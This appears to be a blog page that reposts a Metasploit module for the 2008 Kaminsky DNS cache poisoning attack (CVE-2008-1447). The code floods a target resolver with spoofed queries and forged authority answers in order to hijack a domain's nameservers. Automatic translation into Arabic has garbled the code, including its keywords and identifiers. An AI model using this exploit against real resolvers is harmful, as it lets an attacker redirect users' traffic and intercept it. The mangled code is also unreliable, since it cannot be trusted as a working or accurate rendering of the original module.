أخيرا, تلاءم يخمّن [إيد], ال خدع ربط سيحصل يقبل,
وال [نمسرفر] مداخل للهدف مجال كنت سيستبدلون بالنادلة
يعيّن في ال [نودنس] خيار من هذا مأثرة.
},
"حسب مؤلفة" =>
[
"أنا) [رويد]", "[هدم]",
#
"[سدريك] مبيضة [سد] [في] [رستك.ورغ]" # [سدريك] خارجا ال [نس] حقنة طريقة
# وكان باردة بكفاية إلى بريد إلكترونيّ نا وسهم!
#
],
"رخصة" => [مسفليسنس],
"صيغة" => '[$رفيسون]: 5591 $ ',
"مراجع" =>
[
["[كف]", "2008-1447"],
["[أوس-سرت-فو]", "8000113"],
["[أورل]", "http://www.caughq.org/exploits/CAU-EX-2008-0003.t- [إكست]"],
],
"[ديسكلوسوردت]" => "يوليو-تمّوز 21 2008"
))
عدّلت [رجستروبأيشنس] (
[
[أبتبورت.نو] ("[سركبورت]", [يصحّ, "الهدف نادلة مصدر سؤال مينة (0 لآليّة)", [نيل]]),
[أبتسترينغ.نو] ("مجال", [يصحّ, "المجال إلى إختطاف", "[إإكسمبل.كم]"]),
[أبتسترينغ.نو] ("[نودنس]", [يصحّ, "ال [هوستنم] من الإستبدال [دن] نادلة", [نيل]]),
[أبتدّرسّ.نو] ("[ركنس]", [يصحّ, "[نمسرفر] يستعمل لاستكشاف", "208.67.222.222"]),
[أبتينت.نو] ("[إكسيدس]", [, "رقم من [إكسيدس] أن يحاول ل كلّ سؤال", 10]),
[أبتينت.نو] ("[تّل]", [يصحّ, "[تّل] للخبيثة [نس] مدخل", 31337]),
], [سلف.كلسّ])
نهاية
[دف] [أوإكسيليركمّندس]
عودة {"تدقيق" يحدّ => "إن ال يعيّن [دن] نادلة ([رهوست]) يكون حصينة"}
نهاية
[دف] [كمدشك] ([أرغس])
[ترغ]=[أرغس] [0] || [رهوست] ()
إن (لا ([ترغ] و [ترغ.لنغث]>0))
[برينتستتثس] ("إستعمال: تدقيق [[دنس-سرفر]] "
عائدة
نهاية
[برينتستتثس] ("يستعمل [متسبلويت] خدمة أن يدقّق [إإكسبلويتبيليتي]…"
[سرفسك]=[رإكس]:: [سكت.كرتودب] (
"[بيرهوست]" => [ترغ],
"[بيربورت]" => 53
)
عشوائيّة=يتمّ مين زائفة
=[]
[لبورت]=[نيل]
[1.وبتو] (5) |[إي]|
[رق]=[رسلف]: [نس]:: [مسّج.نو]
[سبووفبروب-شك-] [تإكست]="{أنا} - # {$$} # {(بطانة () *1000000-) [.توي]} [.رد.متسبلويت.كم]"
[رق.دّقوسأيشن] ([تإكست], [رسلف]: [نس]:: موردة:: في:: [تإكست])
[رق.رد]=1
[سرفسك.بوت] ([رق.نكد])
[رس], [أدّر]=[سرفسك.ركففروم] ()
إن [رس] و [رس.لنغث]>0
[رس]=[رسلف]: [نس]:: يتمّ [مسّج.دكد] ([رس])
[رس.شنسور] |اسم, [تّل], معطيات|
إن ([نم.توس] == [تإكست] و [دت.سترينغس.جوين] ('') =~/^ ([[س]]+) [س.] red.metasploit.com/m)
[تدّر], [تبورت]=[$1.سبليت] (": ")
[برينتستتثس] (">>عنوان: # {[تدّر]} مينة: # {[تبورت]} "
[تبورت]=[تبورت.توي]
إن ([لبورت] و [لبورت]! =[تبورت])
عشوائيّة=يصحّ
نهاية
[بورتس] [لبورت]=[تبورت]
<<[تبورت]
نهاية
نهاية
نهاية
نهاية
[سرفسك.كلوس]
إن ([بورتس.لنغث]<5)
[برينتستتثس] ("مجهولة: لم يجب هذا نادلة إلى نا جروحية تدقيق طلبات "
نهاية
عائدة
إن (عشوائيّة)
[برينتستتثس] ("ممر: لا يستعمل هذا نادلة ساكن إستاتيكي مصدر مينة. مين: # {[بورتس.جوين] (","} "
[برينتستتثس] ("هذا نادلة يمكن بعد كنت ممكن استغلال, غير أنّ لا ب هذا أداة. "
[برينتستتثس] أخرى
("[فيل]: يستعمل هذا نادلة ساكن إستاتيكي مصدر مين وحصينة إلى تسمم "
نهاية
نهاية
[دف] شوط
هدف=[رهوست] ()
مصدر=[رإكس]:: [سكت.سورسدّرسّ] (هدف)
رياضة=[دتستور] ["[سركبورت]"]
مجال=[دتستور] ["مجال"]+". "
[نودنس]=[دتستور] ["[نودنس]"]
[ركنس]=[دتستور] ["[ركنس]"]
[إكسيدس]=[دتستور] ["[إكسيدس]"] [.توي]
[نوتّل]=[دتستور] ["[تّل]"] [.توي]
[إكسيدبس]=بطانة (20001)+20000
عنوان=[رإكس]:: [تإكست.رندتإكست] (4) [.ونبك] ("[ك4]" [.جوين] (". "
[سرفسك]=[رإكس]:: يحصل [سكت.كرتودب] (
"[بيرهوست]" => هدف,
"[بيربورت]" => 53
)
# المصدر مينة عن طريق ال [متسبلويت] خدمة إن هو يكون لا يثبت
إن [سبورت.توي] == 0
[رق]=[رسلف]: [نس]:: [مسّج.نو]
[تإكست]="[سبووفبروب-] {$$} # {(بطانة () *1000000) [.توي]} [.رد-] .metasploit.com"
[رق.دّقوسأيشن] ([تإكست], [رسلف]: [نس]:: موردة:: في:: [تإكست])
[رق.رد]=1
[سرفسك.بوت] ([رق.نكد])
[رس], [أدّر]=[سرفسك.ركففروم] ()
إن [رس] و [رس.لنغث]>0
[رس]=[رسلف]: [نس]:: يتمّ [مسّج.دكد] ([رس])
[رس.شنسور] |اسم, [تّل], معطيات|
إن ([نم.توس] == [تإكست] و [دت.سترينغس.جوين] ('') =~/^ ([[س]]+) [س.] red.metasploit.com/m)
[تدّر], [تبورت]=[$1.سبليت] (": ")
رياضة=[تبورت.توي]
[برينتستتثس] ("يحوّل إلى هدف مينة # {رياضة} يؤسّس على [متسبلويت] خدمة"
إن هدف! =[تدّر]
[برينتستتثس] ("يحذّر: هدف ليس عنوان # {هدف} ال نفس مثلما ال [نمسرفر] سؤال مصدر عنوان # {[تدّر]}! "
نهاية
نهاية
نهاية
نهاية
يدقّق نهاية
# ه لا سابقا يسمّم
بدأت
سؤال=[رسلف]: [نس]:: [مسّج.نو]
[قور.دّقوسأيشن] (مجال, [رسلف]: [نس]:: موردة:: في:: يبدأ
[نس])
[قور.رد]=0
يخبّئ=زائفة
[سرفسك.بوت] ([قور.نكد])
جوابة, [أدّر]=[سرفسك.ركففروم] ()
إن جوابة و [أنسور.لنغث]>0
جوابة=[رسلف]: [نس]:: يتمّ [مسّج.دكد] (جوابة)
[أنسور.شنسور] |اسم, [تّل], معطيات|
إن (([نم.توس]+"." == مجال و [دت.نم.توس] == [نودنس])
[ت]=[تيم.نوو]+[تّل]
[برينتستتثس] ("إخفاق: يستعمل هذا مجال سابقا # {[نودنس]} بما أنّ [نمسرفر] "
[برينتستتثس] ("مخبأ مدخل يمضي على # {[ت.توس]}"
[سرفسك.كلوس]
[ديسكنّكتيب]
عودة
نهاية
نهاية
نهاية
نهاية إلى أن لا يخبّأ
إنقاذ:: توقف
إرتفاع $!
إنقاذ:: استثناء => [إ]
[برينتستتثس] ("خطأ يفحص ال [دن] اسم: # {[إ.كلسّ]} # {[إ]} # {[إ.بكترس]} "
نهاية
[رس0]=شبكة: [نس]:: [رسلفر.نو] (: [نمسرفرس] => [[ركنس]], [نسسرش] => زائفة: => متواترة يصحّ) # استكشاف [رسلفر]
[برينتستتثس] "يستهدف [نمسرفر] # {هدف} لحقنة من # {مجال} [نمسرفرس] بما أنّ # {[نودنس]}"
# ينظر فوق ال [نمسرفرس] للمجال
[برينتستتثس] "يتساءل [نمسرفر] [ركن] ل # {مجال} '[س] [نمسرفرس]…"
[أنسور0]=[رس0.سند] (مجال, شبكة: [نس]:: [نس])
[برينتستتثس] "يتمّ يحصل جوابة مع # {[أنسور0.هدر.نكونت]} جوابات, # {[أنسور0.هدر.نسكونت]} سلطات"
شوكات=[] # تخزين ل [نمسرفرس]
[أنسور0.نسور.ش] |[رّ0]|
حصل [برينتستتثس] "# {[رّ0.تب]} سجل: يتمّ # {[رّ0.ينسبكت]} "
إن [رّ0.تب] == "[نس]"
[برينتستتثس] "يتساءل [نمسرفر] [ركن] لعنوان ال # {[رّ0.نسدنم]}…"
[أنسور1]=[رس0.سند] ([رّ0.نسدنم]) # يحصل ال [نس] جوابة ل ال [هوستنم]
[برينتستتثس] "يحصل جوابة مع # {[أنسور1.هدر.نكونت]} جوابات, # {[أنسور1.هدر.نسكونت]} سلطات"
[أنسور1.نسور.ش] |[رّ1]|
حصل [برينتستتثس] "# {[رّ1.تب]} سجل: # {[رّ1.ينسبكت]} "
[رس2]=شبكة: [نس]:: [رسلفر.نو] (: [نمسرفرس] => [رّ1.دّرسّ], [نسسرش] => زائفة: => متواترة زائفة: إعادة تجريب => 1)
[برينتستتثس] "يفحص [أوثوريتتيفنسّ]: يتساءل # {[رّ1.دّرسّ]} ل # {مجال}… "
[أنسور2]=[رس2.سند] (مجال)
إن [أنسور2] و [أنسور2.هدر.وث]? و [أنسور2.هدر.نكونت] >= 1
[نسرك]={: => عظيمة [رّ0.نسدنم]: [أدّر] => [رّ1.دّرسّ]}
شوكات<<[نسرك]
[برينتستتثس] "# {[رّ0.نسدنم]} رسميّة ل # {مجال}, يضيف إلى قائمة ميلان إلى جانب ال [نمسرفرس] إلى خدعة بما أنّ"
نهاية
نهاية
نهاية
نهاية
إن [بربس.لنغث] == 0
[برينتستتثس] ("ما من [دن] نادلات يؤسّس. "
[سرفسك.كلوس]
[ديسكنّكتيب]
عودة
نهاية
# خدع فيضان الهدف مع أسئلة وإستجابات, واحدة أخيرا سيضرب
أسئلة=0
إستجابات=0
[كنّكتيب] [إيف نوت] [إيبسك]
[برينتستتثس] ("يحاول أن يحقن سم سجلات ل # {مجال} '[س] [نمسرفرس] داخل # {هدف}: # {رياضة}…"
بينما يصحّ
[رندهوست]=[رإكس]:: [تإكست.رندتإكستلفنومريك] (12)+"." +يوزّع مجال # ال [هوستنم]
# يرسل خدع سؤال
[رق]=[رسلف]: [نس]:: [مسّج.نو]
[رق.يد]=بطانة (2 ** 16)
[رق.دّقوسأيشن] ([رندهوست], [رسلف]: [نس]:: موردة:: في:: [ا])
[رق.رد]=1
مصنوع من الجلد=(
[سكروبي]:: [إيب.نو] (
#: [سرك] => شوكات [0] [: [أدّر]] [.توس]
: [سرك] => مصدر,
[ست] => هدف,
[روتو] => 17
) [/سكروبي]:: [أودب.نو] (
: رياضة خدع => (بطانة ((2 ** 16) - 1024) +1024) [.توي],
يسرى => 53
) [/رق.نكد]
) [.تونت]
[إيبسك.سندتو] (عجلة تلميع, هدف)
أسئلة += 1
# يرسل شر جوابة من كلّ [نمسرفرس] (شوكات [*] [: [أدّر]])
[رق.دّنسور] ([رندهوست], [نوتّل], [رسلف]: [نس]:: موردة:: في:: [أ.نو] (عنوان))
[رق.دّوثوريتي] (مجال, [نوتّل], [رسلف]: [نس]:: موردة:: في:: [نس.نو] ([رسلف]: [نس]:: [نم.كرت] ([نودنس])))
[رق.دّدّيأيشنل] ([نودنس], [نوتّل], [رسلف]: [نس]:: موردة:: في:: [أ.نو] (عنوان)) يتمّ # يتجاهل
[رق.قر]=1
[رق.ا]=1
[إكسيدبس.وبتو] ([إكسيدبسإكسيدس-1]) |[إيد]|
يتمّ [رق.يد]=[إيد]
[بربس.ش] |شوكة|
عجلة تلميع=(
[سكروبي]:: [إيب.نو] (
#: [سرك] => شوكات [: [أدّر]] [.توس]
: [سرك] => شوكة [: [أدّر]] [.توس],
[ست] => هدف,
[روتو] => 17
) [/سكروبي]:: [أودب.نو] (
: رياضة => 53,
يسرى => [سبورت.توي]
) [/رق.نكد]
) [.تونت]
[إيبسك.سندتو] (عجلة تلميع, هدف)
إستجابات += 1
نهاية
نهاية
# وضع تحديث
إن أسئلة % 1000 == 0
[برينتستتثس] ("يرسل # {أسئلة} خدع أسئلة و # {إستجابات} إستجابات…"
نهاية
# كلّ هكذا غالبا, تدقيق ويرى إن الهدف يكون سمّمت…
إن أسئلة % 250 == 0
يبدأ
سؤال=[رسلف]: [نس]:: [مسّج.نو]
[قور.دّقوسأيشن] (مجال, [رسلف]: [نس]:: موردة:: في:: [نس])
[قور.رد]=0
[سرفسك.بوت] ([قور.نكد])
جوابة, [أدّر]=[سرفسك.ركففروم] ()
إن جوابة و [أنسور.لنغث]>0
جوابة=[رسلف]: [نس]:: يتمّ [مسّج.دكد] (جوابة)
[أنسور.شنسور] |اسم, [تّل], معطيات|
إن (([نم.توس]+"." == مجال و [دت.نم.توس] == [نودنس])
[برينتستتثس] ("يحاول تسمم ناجحة بعد # {أسئلة}: # {مجال} == # {[نودنس]} "
[سرفسك.كلوس]
[ديسكنّكتيب]
عودة
نهاية
نهاية
نهاية
إنقاذ:: توقف
إرتفاع $!
إنقاذ:: استثناء => [إ]
[برينتستتثس] ("خطأ يتساءل ال [دن] اسم: # {[إ.كلسّ]} # {[إ]} # {[إ.بكترس]} "
نهاية
نهاية
نهاية
نهاية
نهاية
نهاية
|
|
| November 24, 2008 | 7:10 AM |
|
You must be logged in to add tags.
|
 |
|
Latest Posts
Monthly Archive
Change Language
Tags Archive
dns droits femme flaw internet violations
Filter By Type
Friends
2305 views
|
 |